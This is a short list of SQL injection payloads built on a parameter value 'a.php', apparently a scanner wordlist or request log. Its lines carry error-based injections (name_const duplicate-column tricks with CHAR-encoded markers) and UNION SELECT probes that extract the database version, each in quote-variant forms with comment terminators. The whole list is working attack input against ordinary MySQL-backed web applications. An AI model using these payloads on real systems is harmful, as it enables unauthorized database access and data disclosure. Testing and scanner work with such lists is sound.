a.php
a.php or (1,2)=(select*from(select name_const(CHAR(81,122,106,79,108,97,121,68,108),1),name_const(CHAR(81,122,106,79,108,97,121,68,108),1))a) -- and 1=1
a.php"
a.php" or (1,2)=(select*from(select name_const(CHAR(81,122,106,79,108,97,121,68,108),1),name_const(CHAR(81,122,106,79,108,97,121,68,108),1))a) -- "x"="x
a.php' or (1,2)=(select*from(select name_const(CHAR(81,122,106,79,108,97,121,68,108),1),name_const(CHAR(81,122,106,79,108,97,121,68,108),1))a) -- 'x'='x
a.php2121121121212.1
a.php99999" union select unhex(hex(version())) -- "x"="x
a.php99999' union select unhex(hex(version())) -- 'x'='x
a.php999999.1 union select unhex(hex(version())) -- and 1=1